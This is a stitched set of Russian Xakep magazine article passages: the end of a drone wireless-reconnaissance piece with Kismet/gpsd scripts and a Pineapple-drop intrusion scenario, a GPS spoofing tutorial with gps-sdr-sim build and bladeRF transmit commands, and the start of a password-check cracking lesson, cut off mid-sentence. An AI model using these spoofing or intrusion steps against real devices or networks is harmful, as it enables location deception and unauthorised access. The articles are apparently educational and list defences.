    screen -dmS recon -t gpsd -L -Logfile "$time-recon-%n.log" './gps.
sh'
 screen -r recon -t kismet -X screen './kismet.sh'
 screen -r recon -t tcpdump -X screen './tcpdump.sh'
  - cd
... 

Ког да уста нав лива ется соеди нение со спут никами, зеленый све тоди од дает
понять, что мож но лететь:

recon/gps.sh
#!/bin/bash

gpsd  5 | line -N /dev/ttyACM0 -D while read 
 do echo "$line"

      if echo "$line" | fgrep -q 'GPS:'; then
       led green on 2> /dev/null 
   fi
done

Ус пешный запуск Kismet, в свою оче редь, зажига ет жел тый све тоди од:

recon/kismet.sh
#!/bin/bash

line kismet -c mon0 | while read 
 do echo "$line"

      if echo "$line" | fgrep -q 'success'; then
       led yellow on 2> /dev/null 
   fi
done

Те перь пос ле обле та тер ритории или даже заг рузки GPS-мар шру та в дрон
ата кующий либо защит ник могут в авто мати чес ком режиме более качес твен- 
но выпол нить ана лиз бес про вод ных сетей, пок рывая мак симум тер ритории.
Получен ный дамп может быть пре обра зован в веб-стра ницу, содер жащую
удоб ную инте рак тивную кар ту, на которой наложе но рас счи тан ное мес- 
тополо жение источни ков сиг нала, а так же пос тро ена теп ловая кар та сиг- 
налов, как на сле дующем рисун ке.

Ви зуали зация соб ранной информа ции о бес про вод ных устрой ствах
(мес тополо жение и теп ловая кар та)

Теп ловая кар та показы вает уро вень сиг нала от бес про вод ных устрой ств
в каж дой иссле дован ной точ ке. Любая точ ка дос тупа или кли ент на такой кар- 
те по кли ку мыш кой обво дит ся окружностью, показы вающей область ее слы- 
шимос ти.

Об ласть слы шимос ти бес про вод ного устрой ства

При этом теп ловая кар та, как мож но заметить, перес тра ивает свой цвет
под каж дое выб ранное бес про вод ное устрой ство, тем самым показы вая,
в каких мес тах и как при нимал ся сиг нал от него. Каж дая область, где про- 
летал дрон, при выборе мыш кой показы вает бес про вод ные устрой ства, дос- 
тупные имен но там.

Слы шимые бес про вод ные устрой ства в опре делен ной точ ке

Все вмес те это дает пред став ление, не выходит ли зона при ема за кон тро- 
лиру емую область, где может находить ся зло умыш ленник.

Ïîñòýêñïëóàòàöèÿ
Ес ли ата ка будет успешной, зло умыш ленни ку, веро ятно, при дет ся вер нуть ся
и вос поль зовать ся обна ружен ной уяз вимостью. Ведь подоб ранный пароль
или перех вачен ные учет ные дан ные сра бота ют толь ко для кон крет ной бес- 
про вод ной сети. В таком слу чае дрон может дос тавить Pineapple, снаб- 
женный 4G-модулем для уда лен ного под клю чения к бес про вод ной сети
на охра няемой тер ритории.

Дрон дос тавля ет Pineapple, снаб женный 4G-модемом, для уда лен ного
дос тупа

Как исполь зовать Pineapple в качес тве средс тва уда лен ного дос тупа, 
.

про- 
демонс три рова но в пре дыду щей статье

Дрон с Pineapple на бор ту может при зем лить ся на кры шу зда ния. С вык- 
лючен ными про пел лерами он в сос тоянии ожи дать дос таточ но дол го. А тем
вре менем зло умыш ленник может уда лен но под клю чить ся к ском про мети- 
рован ной бес про вод ной сети и раз вивать даль нейшие ата ки уже по внут- 
ренним сетям. И впол не веро ятно, что внут ренняя сеть в резуль тате такого
про ник новения падет рань ше, чем на кры шу под нимут ся сот рудни ки служ бы
безопас ности. Впро чем, в таком слу чае дрон может стре митель но уле теть,
уне ся на сво ем бор ту и Pineapple, и 4G-модем. Так что не оста нет ся никаких
сле дов. © X

Дрон спо собен пре одо леть мно жес тво клас сичес ких защит ных мер. Про пус- 
кной пункт, две ри на эта же или в кабине те, даже заборы для него не проб- 
лема. И чем круп нее ком пания, тем выше веро ятность встре тить уяз вимый
ком понент и тем весомее потен циаль ная добыча зло умыш ленни ка.

Мож но рас смот реть сле дующие вари анты защиты от некото рых дро нов:
од на из так тик защиты — это нападе ние. Дрон, управля емый по Wi-Fi, —
это, по сути, лета ющий роутер. К нему мож но под клю чить ся, как к обыч ной
Wi-Fi-сети, исполь зуя прос тые завод ские пароли, пос ле чего перех ватить
виде осиг нал, иду щий RTSP-потоком, или перек рыть канал управле ния;

•

при мене ние обыч ных подави телей дро нов, так как они рас счи таны
на наибо лее популяр ные про токо лы (FRSKY, ELRS или TBS), по которым
управля ются даже про фес сиональ ные дро ны;

•

мно гие дро ны пос ле потери сиг нала с пуль та управле ния экс трен но садят- 
ся, но некото рые уле тают обратно по GPS-коор динатам. Подави тели
ради осиг налов, сооб щающих под дель ные коор динаты, могут зас тавить
дрон экс трен но сесть в задан ной точ ке;

•

для модифи циро ван ных дро нов с самодель ными режима ми управле ния
(нап ример, 4G) мож но исполь зовать нап равлен ные подави тели сиг налов.

•

Сре ди общих мер, которые защища ют от любых дро нов, мож но отме тить сле- 
дующие:

эк раниро вание — раз мещение кри тичес ких объ ектов в помеще ниях
со спе циаль ными огражда ющи ми конс трук циями, которые пре пятс тву ют
рас простра нению элек тро маг нитных излу чений за пре делы помеще ния
(кон тро лиру емой зоны);

•

внеш нее зашум ление элек тро маг нитны ми вол нами, которые не поз воля ют
дро ну обна ружить уяз вимые бес про вод ные устрой ства;

•

кон троль физичес кого дос тупа в пре делах ради уса дей ствия бес про вод- 
ных устрой ств — пос коль ку дрон глав ным обра зом нап равлен на обход
физичес ких барь еров, а не тех ничес ких уяз вимос тей, защиту от него мож- 
но рас смат ривать в том же клю че;

•

раз мещение кри тичес ких объ ектов вда ли от внеш них огражда ющих конс- 
трук ций — в глу бине защищен ного зда ния или под зем лей.

•

https://xakep.ru/2022/09/22/infilltration-and-exfiltration/
https://xakep.ru/2023/04/18/diy-pineapple/
https://xakep.ru/2023/04/18/diy-pineapple/
https://xakep.ru/2023/04/18/diy-pineapple/
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Каж дый из нас поль зует ся спут никовой
навига цией, что бы доб рать ся куда угод но
за пре дела ми сво его дво ра. А что, если
в один момент GPS перес танет быть таким
надеж ным средс твом опре деле ния
локации? В этой статье я покажу работа- 
ющий спо соб обма нуть эту сис тему.

Не пов торяй дей ствия, опи сан ные в статье, вбли- 
зи аэро пор тов и дру гих объ ектов, которые силь но
зависят от геопо зици они рова ния! Работа в эфи ре
тре бует спе циаль ного раз решения и дол жна про- 
водить ся с соб людени ем мер пре дос торож ности.
Статья пуб лику ется исклю читель но в обра зова- 
тель ных целях, и ни автор, ни редак ция «Хакера»
не несут ответс твен ности за дей ствия, совер- 
шенные с исполь зовани ем это го матери ала.

ÒÅÎÐÈß

GNSS
Global Navigation Satellite System (GNSS) поз воля ет поль зовате лям сис темы
опре делить их мес тополо жение. GNSS пред став ляет собой сеть из раз ных
спут никовых и назем ных сис тем. Самые извес тные из них — аме рикан ский
GPS и рос сий ский ГЛО НАСС. Еще мож но вспом нить Galileo (стра ны ЕС)
и BeiDou (Китай), но они рас простра нены куда мень ше.

Для опре деле ния мес тополо жения исполь зуют ся три основные груп пы
устрой ств: кос мичес кие, поль зователь ские и дру гие назем ные (сег мент кон- 
тро ля).

Кос мичес кие устрой ства — это, как ты догады ваешь ся, спут ники. У каж дой
сис темы — свои спут ники, лета ющие на раз ных орби тах. Спут ники тран сли- 
руют дан ные на раз ных час тотах и в раз ные про межут ки вре мени, что бы
не мешать друг дру гу.

На зем ные сис темы отве чают за син хро низа цию вре мени, пра виль ность
информа ции на спут никах, кор ректи руют орби ты и про веря ют клю чевые фун- 
кции спут ника — вдруг он сло мает ся?

Поль зователь ский сег мент — это кли ент ские устрой ства, которые опре- 
деля ют свое мес тополо жение с исполь зовани ем GNSS. Самый прос той при- 
мер — обыч ный при емник GNSS в тво ем телефо не.

Что бы опре делить мес тополо жение, любое конеч ное устрой ство дол жно
получить дан ные со спут ника и как-то их обра ботать. Про цесс обра бот ки сиг- 
налов и опре деле ния мес тополо жения называ ется три ангу ляци ей (хотя есть
и дру гие методы).

×àñòîòû
В зависи мос ти от кон крет ной спут никовой сис темы GNSS исполь зует раз ные
час тоты для переда чи дан ных. Про бежим ся по трем гиган там, их час тотам
и наз начению этих час тот.

GNSS работа ет на трех основных полосах: L1, L2 и L5. Все они появ лялись
пос ледова тель но, как улуч шенные вер сии навига цион ной сис темы. Называ- 
ется это все «L-диапа зон», или диапа зон децимет ровых волн. Диапа зон опи- 
сыва ет час тоты от 1 до 2 ГГц или от 1000 до 2000 МГц. На одной полосе
может работать сра зу нес коль ко навига цион ных сис тем: к при меру, в полосе
L1 работа ют одновре мен но GPS, ГЛО НАСС и Galileo.

 — самая ста рая полоса, которую исполь зуют поч ти все спут никовые
навига цион ные сис темы. Пос коль ку она древ няя, ее могут при нять прак- 
тичес ки все при емни ки. Единс твен ный минус — сиг нал в этом диапа зоне час- 
тот име ет низ кую спо соб ность оги бать пре пятс твия и про ходить сквозь них
(сте ны зда ний, лис тва деревь ев или слиш ком гус тая облачность).

L1

 появи лась как замена L1. Сиг нал в этой полосе луч ше оги бает пре пятс- 
твия, ловить его мож но даже в труд нодос тупных мес тах. Эта полоса счи тает ся
новой, так что обыч но ее исполь зуют заод но с L1.

L2

 — новей шая тех нология, исполь зует ся в основном для нужд ави ации,
хотя граж дан ские при емни ки тоже иног да могут с ней работать.

L5

GPS работа ет во всех трех диапа зонах, в то вре мя как аль тер натив ные
навига цион ные сис темы пока не заняли все дос тупные час тоты. В L1 про- 
жива ют GPS (1575,42 МГц), ГЛО НАСС (1602 МГц) и Galileo (1575,42 МГц).
В L2 GPS работа ет на час тоте 1227,6 МГц, а ГЛО НАСС — на 1246 МГц.
В L5 есть Galileo (1207,14 МГц и 1176,45 МГц) и GPS (все го одна час тота —
1176,45 МГц).

Час тоты для граж дан ско го и воен ного при мене ния раз лича ются, и в
сегод няшней статье мы будем рас смат ривать толь ко граж дан ские вари анты.
Кро ме того, сиг нал для воен ного исполь зования куда более точ ный, но он
зашиф рован во избе жание исполь зования нед ружес твен ными арми ями.

Наз начения полос могут менять ся в зависи мос ти от навига цион ной сис темы.

Час тоты и полосы, исполь зуемые GNSS

Час тоты, отме чен ные как ARNS, обыч но исполь зуют в ави ации, тог да
как назем ные при емни ки исполь зуют час тоты RNSS.

Òðèàíãóëÿöèÿ è òðèëàòåðàöèÿ
Спут ник не может отпра вить тебе твое мес тополо жение, потому что мес- 
тополо жение у каж дого свое, а твое устрой ство ничего наружу не переда ет.
То есть коор динаты нуж но вычис лять непос редс твен но на при емни ке, а для
это го сиг нала одно го спут ника недос таточ но, так что при ходит ся ловить сра зу
нес коль ко (обыч но хотя бы три-четыре). Все они отправ ляют тебе свои собс- 
твен ные коор динаты и вре мя. Уже из этих дан ных по прос тым фор мулам мож- 
но опре делить мес тополо жение. Для поис ка коор динат исполь зуют ся два
основных спо соба: три ангу ляция и три лате рация.

Три ангу ляция — это опре деле ние мес тополо жения точ ки по трем ори- 
енти рам. Ори енти рами в этом слу чае выс тупа ют спут ники, но, так как кос- 
мичес кие аппа раты лета ют на высоте око ло 20 тысяч километ ров, исполь- 
зовать такой метод весь ма слож но из-за необ ходимос ти очень точ но знать
рас сто яние до каж дого из спут ников. Что бы облегчить про цесс, исполь зует ся
три лате рация.

Три лате рация — это метод опре деле ния коор динат точ ки, который
исполь зует сис тему сфер.

Три лате рация

Рас сто яние до спут ников мож но опре делить по вре мени про хож дения сиг- 
нала от спут ника до при емни ка, умно жен ному на ско рость све та, но для это го
нуж но знать точ ное вре мя, в которое сиг нал был отправ лен.

На прак тике, если у тебя есть, нап ример, мик рокон трол лер, не нуж но самос- 
тоятель но решать эту гор ку линей ной алгебры, что бы прос то получить свои
коор динаты. Все это с успе хом дела ют  GNSS-при емни ки, которые
вып люнут тебе коор динаты и источник их получе ния (из какой имен но спут- 
никовой сис темы) в фор мате NMEA.

де шевые

GPS-при емник

NMEA — это стан дарти зиро ван ный фор мат для переда чи дан ных GNSS. То
есть если ты захочешь сде лать устрой ство, которое будет работать с GNSS,
то нуж но будет работать с фор матом NMEA, а не искать докумен тацию к фор- 
мату каж дой спут никовой сис темы.

Что бы получить эти дан ные, мож но под клю чить ся к при емни ку по USB
или UART. У меня рас паян толь ко UART, так что я соору дил мост из Auduino
и вышел на ули цу, что бы соб рать дан ные.

Ес ли исполь зовать готовый при емник GNSS, то на его выходе мож но уви- 
деть при мер но сле дующую кар тину:

$GPRMC,102668.00,A,2565.63860,N,05723.41802,E,44.621,122.82,301122,,
,A*54 
$GPVTG,122.82,T,,M,44.621,N,82.638,K,A*34 
$GPGGA,102669.00,2995.64530,N,05723.40668,E,1,04,2.16,19.7,M,-26.4,
M,,*48 
$GPGSA,A,3,07,09,04,14,,,,,,,,,6.09,2.16,5.70*05 
$GPGSV,2,1,05,04,43,108,34,07,53,338,35,09,73,051,37,14,33,217,28*7B 
$GPGSV,2,2,05,16,04,038,*44 
$GPGLL,2585.64930,N,05123.40668,E,102608.00,A,A*6E 
$GPRMC,107129.00,A,2565.63860,N,05723.41802,E,47.084,123.07,301122,,
,A*5C 

Это сооб щения в фор мате NMEA, то есть уже обра ботан ные GNSS-при емни- 
ком дан ные со спут ника. Выг лядит не сов сем понят но, но на самом деле
получить из это го наши коор динаты доволь но прос то.

Раз берем для при мера пер вое сооб щение:

54 
$GPRMC,102668.00,A,2565.63860,N,05723.41802,E,44.621,122.82,301122,,
,A*

Как ты уже заметил, каж дое сооб щение начина ется со зна ка дол лара,
за которым сле дуют пять букв и запятая. Этот заголо вок ука зыва ет тип дан ных
в сооб щении. Пер вые две бук вы (в нашем слу чае ) ука зыва ют на сис тему
GNSS, из которой получе на информа ция. Наше  озна чает GPS. Ты можешь
встре тить и дру гие спут никовые сис темы — вот спи сок воз можных отве тов:

GP
GP

GP — толь ко GPS;•
GL — толь ко ГЛО НАСС;•
BD — толь ко BeiDou;•
GA — толь ко Galileo;•
GN — исполь зовано одновре мен но нес коль ко сис тем.•

Сле дующие три бук вы озна чают тип дан ных, нап ример RMC (Recommended
Minimum Specic GNSS Data) — минималь ные рекомен дуемые дан ные о мес- 
тополо жении и вре мени. Коор динаты содер жатся в сооб щени ях RMC, GLL
и GGA.

Опус тим все поля, кро ме коор динат (опи сание про пущен ных полей мож но
почитать в ).  — это широта в фор мате

, где  озна чает север ное полуша рие, а  —
это дол гота в фор мате , где  озна чает вос точное полуша рие. То
есть коор динаты нашей тес товой точ ки — 25 гра дусов 65,63860 минуты
север ной широты и 57 гра дусов 23,41802 минуты вос точной дол готы.

до кумен тации NMEA 2565.63860,N
DDMM.MMMMM N 05723.41802,E

DDDMM.MMMMM E

Что бы пос мотреть эту точ ку на кар тах в интерне те, нуж но пре обра зовать
GPS-коор динаты в десятич ные гра дусы. Для это го мож но вос поль зовать ся

.он лай новым каль кулято ром

TTFF
TTFF — time to rst x, или вре мя для опре деле ния мес тополо жения. Это вре- 
мя, которое нуж но устрой ству, что бы соб рать дан ные и опре делить мес- 
тополо жение. Для спу фин га этот параметр очень важен.

Ес ли устрой ство не име ет никаких дан ных о спут никах, про цесс может
занимать до две над цати минут, но обыч но тре бует все го две-три минуты.

Продолжение статьи →

mailto:qeewwqqq@gmail.com
https://pl.aliexpress.com/item/1005004218023349.html
https://docs.arduino.cc/learn/communication/gps-nmea-data-101
https://www.gps-coordinates.net/
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Гай дов по спу фин гу GPS в сети хва тает, но у них есть одна общая чер та:
в 2023 году они не работа ют (у меня так точ но). Мно гие телефо ны сей час
уме ют опре делять мес тополо жение не толь ко по спут никам — для это го
исполь зуют ся Wi-Fi и Bluetooth. Сотовые выш ки тоже могут учас тво вать в про- 
цес се. Для начала мы поп робу ем под менить GPS на смар тфо не с Android
и пос мотрим, какие труд ности могут воз никнуть при под мене.

Îáîðóäîâàíèå
В сво ем экспе римен те я исполь зую:

bladeRF 2.0 Micro Xa4 в качес тве передат чика;•
HackRF One в качес тве при емни ка и передат чика;•
ан тенну RFSPACE;•
Mi A2.•

BladeRF

HackRF one

RFSPACE

Mi A2

GPS-SDR-SIM
GPS-SDR-SIM поз воля ет сге нери ровать дан ные для любой локации или тра- 
екто рии. Для это го нуж но ска чать таб лицу эфе мерид (коор динат спут ников
для опре делен ного вре мени) и ука зать локацию.

 — один из самых популяр ных и уж
точ но самый извес тный инс тру мент для под мены
GPS-дан ных. На момент пуб ликации репози торий
нас читыва ет уже боль ше 2000 звезд и регуляр но
обновля ется.

GPS-SDR-SIM

Итак, сна чала ска чаем исходни ки и соберем прог рамму:

git clone https://github.com/Nuand/gps-sdr-sim 
cd gps-sdr-sim 

  gcc gpssim.c -lm -O3 -o gps-sdr-sim 

Под клю чим bladeRF и сге нери руем файл:

 16 
  

./gps-sdr-sim -e hour3060.22n -l 21.296965,-157.815687,100 -b -o 
gpssim.bin -t $(date -u +%Y/%m/%d,+%X)

Дан ные о спут никах мож но ска чать с .
Тут пре дос тавле ны дан ные за каж дый час, что
поз волит избе жать ошиб ки со вре менем — она
есть поч ти во всех гай дах, которые я смог най ти.

сай та NASA

Па раметр  отве чает за вре мя, которое будут переда вать «спут ники». Этот
параметр очень важен, так как новые телефо ны не работа ют с дан ными,
которые отста ют по вре мени все го на два-три часа.

-t

Using static location mode.
Start time = 2022/11/02,07:21:33 (2234:285693)
Duration = 300.0 [sec]
02 180.0 25.6 22759545.5  6.5
06  54.7 20.9 23631267.8  5.3
11  90.0 38.3 22154769.5  4.3
12 355.4 46.2 21368898.6  4.0
13 163.0  4.3 25471171.1 10.3
15 186.1 19.4 24115672.2  7.7
19  38.7  3.5 25179568.2  5.6
20 119.8  1.4 25729982.2  7.7
24 102.8 78.9 20375053.9  3.1
25 312.8 32.9 22268020.3  5.5
29 231.8 37.9 22208289.9  5.3
32 306.8 14.9 24242464.5  8.5
Time into run = 300.0
Done!
Process time = 46.2 [sec]

Не сто ит боять ся ошиб ки Invalid Start Time: она зна чит, что NASA еще не обно- 
вило дан ные на сай те. Нуж но нем ного подож дать, ска чать новый файл и пов- 
торить генера цию.

Ког да файл будет готов, ска чива ем на наше тес товое устрой ство при ложе- 
ние для монито рин га GPS под наз вани ем GPS Test, запус каем его и вклю чаем
переда чу на компь юте ре:

lll@lll ~/s/gps-sdr-sim (master)> bladeRF-cli -i
bladeRF> set frequency 1575.42M

For best results, it is not recommended to set both RX and TX to the
same frequency. Instead, consider offsetting them by at least 1 MHz
and mixing digitally.

For the above reason, 'set frequency ' is deprecated and
scheduled for removal in future bladeRF-cli versions.

Please use 'set frequency rx' and 'set frequency tx' to configure
channels individually.

 RX1 Frequency: 1575419998 Hz (Range: [70000000, 6000000000])
 RX2 Frequency: 1575419998 Hz (Range: [70000000, 6000000000])
 TX1 Frequency: 1575419998 Hz (Range: [47000000, 6000000000])
 TX2 Frequency: 1575419998 Hz (Range: [47000000, 6000000000])

bladeRF> set samplerate 2.6M

 Setting RX1 sample rate - req:  2600000 0/1Hz, actual:  2600000 0/1Hz
 Setting RX2 sample rate - req:  2600000 0/1Hz, actual:  2600000 0/1Hz
 Setting TX1 sample rate - req:  2600000 0/1Hz, actual:  2600000 0/1Hz
 Setting TX2 sample rate - req:  2600000 0/1Hz, actual:  2600000 0/1Hz

bladeRF> set bandwidth 2.5M

 RX1 Bandwidth:  2500000 Hz (Range: [200000, 56000000])
 RX2 Bandwidth:  2500000 Hz (Range: [200000, 56000000])
 TX1 Bandwidth:  2500000 Hz (Range: [200000, 56000000])
 TX2 Bandwidth:  2500000 Hz (Range: [200000, 56000000])

bladeRF> set gain tx 56

Setting TX1 overall gain to 56 dB
 Gain TX1 overall:  56 dB (Range: [-23.75, 66])
              dsa: -90 dB (Range: [-89.75, 0])

bladeRF> tx config file=/home/lll/soft/gps-sdr-sim/gpssim.bin format=bin
bladeRF> tx start
bladeRF> tx wait

На экра не смар тфо на отоб разят ся спут ники с хорошим уров нем сиг нала.

Тем не менее мы получи ли No Fix — ста тус сис темы, при котором она
не может опре делить свое мес тополо жение. Зеленые линии — это «спут- 
ники» (которые в нашем слу чае под деланы bladeRF). Вид но, что сис тема
работа ет и спут ники видит, но опре делять мес тополо жение телефон отка- 
зыва ется. Иног да устрой ству нуж но вре мя, что бы при нять дан ные и исполь- 
зовать их (TTFF), так что для чис тоты экспе римен та я перезаг рузил телефон
и вклю чил переда чу на пять минут. Резуль тата не пос ледова ло — телефон все
так же игно риро вал наши «липовые» спут ники.

Так как мой файл с коор дината ми был тоже прос рочен, я нем ного отмо тал
вре мя на телефо не назад и сдви нул локацию на один километр от моей
реаль ной локации. Почему все го на километр? Судя по моим тес там, если
рез ко сме нить коор динаты на боль шое рас сто яние, телефон может отбра- 
сывать такие дан ные как неп равдо подоб ные, так что нуж но менять под дель- 
ную локацию пос тепен но:

 16 
lll@lll ~/s/gps-sdr-sim (master)> ./gps-sdr-sim -e brdc2022_3060.22n 
-d 1000 -l 51.296965,124.815687,100 -b -o gpssim.bin -t 2022/11/
02,08:00:00 

Using static location mode.
Start time = 2022/11/02,08:00:00 (2234:288000)
Duration = 1000.0 [sec]
02 174.0 43.6 21497540.2  3.6
05 140.4  4.3 25351515.3  6.8
06  41.5 11.5 24590008.1  4.2
11  66.9 36.4 22296887.8  3.3
12  20.6 45.8 21422074.0  3.1
15 176.8  7.9 25304780.7  8.2
18 198.6  4.3 25335825.2 10.3
20 104.6  6.7 25172344.8  4.8
22 314.6  4.6 25557500.2  8.9
24 146.6 63.7 20898055.3  2.7
25 332.2 40.0 21745559.7  3.7
29 253.1 49.9 21398805.8  3.4
32 290.3 19.4 23734754.8  6.5
Time into run = 1000.0
Done!
Process time = 142.4 [sec]

Сно ва запус каем переда чу и смот рим резуль тат.

Ста тус отоб ража ется как 3D Fix — локация опре деле на! Вре мя со «спут ников»
12:00, что нем ного отста ет от часов телефо на, но в пре делах нор мы. Вре мя
жиз ни дан ных со спут ников может сос тавлять от трид цати минут до четырех
часов, в зависи мос ти от устрой ства. Реаль ное вре мя смар тфо на (в вер хнем
левом углу) 12:34, а пог решность в трид цать четыре минуты счи тает ся нор- 
мой, в слу чаях, если недос тупны дру гие спут ники.

IPHONE

Та же ситу ация и на iPhone, локация под меня ется без осо бых проб лем. Давай
высадим ся в Пер сид ском заливе!

Го тово! Это новый телефон, который никог да рань ше не видел сиг нала GPS,
так что он доволь но быс тро под хва тил фей ковую локацию. Wi-Fi и под клю- 
чение к сети сотовой свя зи не помог ли телефо ну понять, что коор динаты —
под делка.

ÍÀ ×ÒÎ ÎÁÐÀÒÈÒÜ ÂÍÈÌÀÍÈÅ

Вот нес коль ко прос тых пра вил, которых сто ит при дер живать ся при спу фин ге
GPS:
1. Сле ди за дан ными, которые берешь с сай та NASA, — они час то обновля- 

ются.
2. Сле ди за вре менем, которое «спут ники» отправ ляют на устрой ство:

некото рые девай сы не работа ют со слиш ком уста рев шими дан ными.
3. Дай устрой ству вре мя для «сох ранения» фей ковых спут ников.
4. Не меняй локацию сра зу на далекую — такие неп равдо подоб ные зна чения

будут про игно риро ваны, а потом пот ребу ется нам ного боль ше вре мени
на обра бот ку нор маль ных сиг налов.

5. Об рати вни мание на Wi-Fi и сотовую связь: иног да они могут исполь- 
зовать ся для опре деле ния локации, но на «чис тых» устрой ствах даже они
не помогут.

6. Ис поль зуй пра виль ную антенну.
7. Ес ли исполь зуешь HackRF, про верь, есть ли у тебя внеш ний квар цевый

резона тор, ина че вре мя будет пла вать.

При веду еще нес коль ко моих наб людений и пред положе ний:
В раз ных час тях Зем ли работа ют раз ные спут ники, так что, если под менить
толь ко спут ники, которые чаще все го встре чают ся в текущей локации,
шанс на успех будет боль ше.

•

Не кото рые кар ты исполь зуют сто рон ние источни ки для опре деле ния
локации. Дан ные с Apple Maps и Google Maps иног да отли чают ся. У Google
локация была точ нее.

•

Очис тка ста рых дан ных GPS поможет обма нуть прак тичес ки любое устрой- 
ство.

•

Шан сы повыша ет уста нов ка мак сималь но близ кого к реаль нос ти вре мени
(в дан ных с сай та NASA), и, если это не помога ет, мож но дать устрой ству
нес коль ко минут (до десяти-пят надца ти), что бы обра ботать новые дан ные.
На новом устрой стве это ожи дание пот ребу ется поч ти навер няка.

•

ÂÛÂÎÄÛ

Нес мотря на то что про изво дите ли устрой ств пред при нима ют раз ные шаги
для того, что бы пре дот вра тить спу финг, он при опре делен ных усло виях все
же воз можен. И чем боль ше на све те авто ном ных устрой ств, тем боль шей
проб лемой это может стать. Одно дело — разыг рать при яте ля, «отпра вив»
его телефон в Сенегал, дру гое — ког да кто-то зас тавит «Тес лу» с авто пило- 
том свер нуть не туда. © X

https://github.com/osqzss/gps-sdr-sim
https://cddis.nasa.gov/archive/gnss/data/hourly/
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ВЗЛОМ

Пред ставь, что ты нашел с помощью отладчи ка адре са бай- 
тов, которые нуж но изме нить в прог рамме, и обна ружил, что
в фай ле на дис ке таких адре сов нет. Какие инс трук ции
в таком слу чае пра вить? Об этом и погово рим сегод ня.
По сути, нам пред сто ит разоб рать ся, как про цесс про еци- 
рует ся в вир туаль ное адресное прос транс тво.

Пе ред тобой уже во вто рой раз обновлен ная вер сия цик ла «Фун дамен таль- 
ные осно вы хакерс тва». В 2018 году текст Кри са Кас пер ски был переде лан
для соот ветс твия новым вер сиям Windows и Visual Studio, а теперь обновлен
с уче том отладки прог рамм для 64-раз рядной архи тек туры.

Чи тай так же улуч шенные вер сии прош лых ста тей цик ла:
1. Учим ся ана лизи ровать прог раммы для x86-64 с нуля
2. Ис поль зуем отладчик для ана лиза 64-раз рядных прог рамм в Windows

Все новые вер сии ста тей дос тупны без плат ной под писки.

Цикл «Фун дамен таль ные осно вы хакерс тва» со все ми обновле ниями опуб- 
ликован в виде кни ги,  ее по выгод ной цене ты можешь на сай те изда- 
тель ства «Солон-пресс».

ку пить

Ко неч но, у нас есть дизас сем блер, с помощью которо го мы наш ли эти адре са
(под робнее об этом в статье «

»). Это уда лось во мно гом бла года ря тому, что пре пари руемая нами
прог рамма очень малень кая и нам не сос тавило тру да разоб рать ся в ее
дизас сем бли рован ном лис тинге. А если бы иссле дуемая прог рамма весила
сот ни мегабайт?

Учим ся ана лизи ровать прог раммы для x86-
64 с нуля

Так же мы выяс нили, что PE-файл может быть заг ружен по адре су, отлично- 
му от того, для которо го он был соз дан (это свой ство называ ется переме- 
щаемостью), при этом сис тема авто мати чес ки кор ректи рует все ссыл ки
на абсо лют ные адре са, заменяя их новыми зна чени ями. В резуль тате образ
фай ла в памяти не будет соот ветс тво вать тому, что записа но на дис ке. И это
про исхо дит пос ле каж дой перезаг рузки сис темы, а порой даже переза пус ка
при ложе ния. Вся кий раз PE-файл помеща ется по новому адре су.

Вдо бавок к это му если рань ше (до «Вис ты») сис темный заг рузчик мог
переме щать толь ко DLL (в то же вре мя, если ему не уда валось раз местить
в памяти по задан ным адре сам .exe, Windows выдава ла ошиб ку заг рузки
модуля), то теперь исполня емые фай лы тоже под верже ны переме щению.

Меж ду тем ошиб ка заг рузки модуля про исхо дила доволь но ред ко, потому
что, как мы прек расно зна ем, для каж дого про цес са Windows выделя ет
незави симое вир туаль ное адресное прос транс тво. Во вре мена 32-бит ной
Windows это было 2 Гбайт ядер ного прос транс тва и 2 Гбайт поль зователь ско- 
го. То есть по фак ту для про цес са выделя лось толь ко 2 Гбайт, а 2 Гбайт ядер- 
ного прос транс тва были общи ми для всех про цес сов, к которым код из поль- 
зователь ско го режима дос тупа не имел.

При вклю чении режима PAE поль зователь ско му прос транс тву дос- 
тавалось 3 Гбайт и, соот ветс твен но, 1 Гбайт — ядер ному. PAE в про цес сорах
x86 стал нужен для работы сис темы DEP, пре пятс тву ющей выпол нению кода
в сек ции дан ных. DEP авто мати чес ки вклю чена во всех более поз дних про- 
цес сорах. Если поль зователь ское прос транс тво обо соб лено для кон крет ного
про цес са, то прос транс тво ядра общее для всех при виле гиро ван ных
механиз мов, выпол няющих ся в нулевом коль це.

Для x86-64 кар тина в целом ана логич на. Адресное прос транс тво замет но
уве личи лось, теоре тичес ки до 16 Эбайт. Но так как сов ремен ные про цес соры
фак тичес ки исполь зуют толь ко 48 бит для адре сации прос транс тва, реаль но
исполь зует ся лишь малая часть: 8 Тбайт для поль зователь ско го режима
и 248 Тбайт для ядер ного. Конеч но, пока эти раз меры кажут ся заоб лачны- 
ми — при мер но как 4 Гбайт в кон це 1980-х!

Те перь, ког да в общих чер тах кар тина обри сова на, мож но дви гать ся даль- 
ше. Что бы най ти адрес нуж ной инс трук ции на дис ке, вкрат це пов торим пос- 
ледова тель ность дей ствий из . За про шед шее вре мя ты
навер няка перезаг рузил компь ютер, поэто му адре са в памяти изме нились.

прош лой статьи

Сна чала вос поль зуем ся ути литой dumpbin из штат ной пос тавки Visual Stu-
dio, на этот раз с ее помощью най дем базовый адрес модуля — тот,
с которым работа ют Hiew (или дру гой шес тнад цатерич ный редак тор) и дизас- 
сем блер:

dumpbin /headers passcompare1.exe 
OPTIONAL HEADER VALUES 
... 
140000000 image base (0000000140000000 to 0000000140007FFF) 
… 

Нат равим отладчик на подопыт ную прог рамму. Опре делим адрес заг рузки
модуля при ложе ния в памяти (в тво ем слу чае резуль таты будут дру гими):

0:000> lmf m passcompare1 
start             end                module name 
00007ff7`159b0000 00007ff7`159b8000  passCompare1 passCompare1.exe 

Да лее нам нуж но най ти адрес инс трук ции, которую надо изме нить. Для это го
пер вым делом ищем рас положе ние эта лон ного пароля (он находит ся в сек- 
ции ), поэто му вос поль зуем ся коман дой , которая
выведет све дения о сек циях. Сло жим адрес заг рузки модуля и вир туаль ный
адрес сек ции .

.rdata !dh passCompare1

.rdata
Та ким обра зом, в моем слу чае сек ция  начина ется с адре са 

. Нем ного прок рутив вывод отладчи ка вниз, я вижу, что пароль
рас полага ется по адре су . Теперь нам нужен адрес рас- 
положе ния инс трук ции в памяти. Не нап рягая мозг, лег ким дви жени ем руки
пос тавим бряк на пароль: . Про дол жим отладку и вве- 
дем любой пароль, пос ле всплы тия отладчи ка по коман де  сде лаем выход
из текущей фун кции. Мы попада ем на срав нива ющую инс трук цию 

, которую нам надо заломить, а сле ва в пер вом стол бце видим ее адрес:
. Если поп робовать най ти его в фай ле, то Hiew ска жет, что

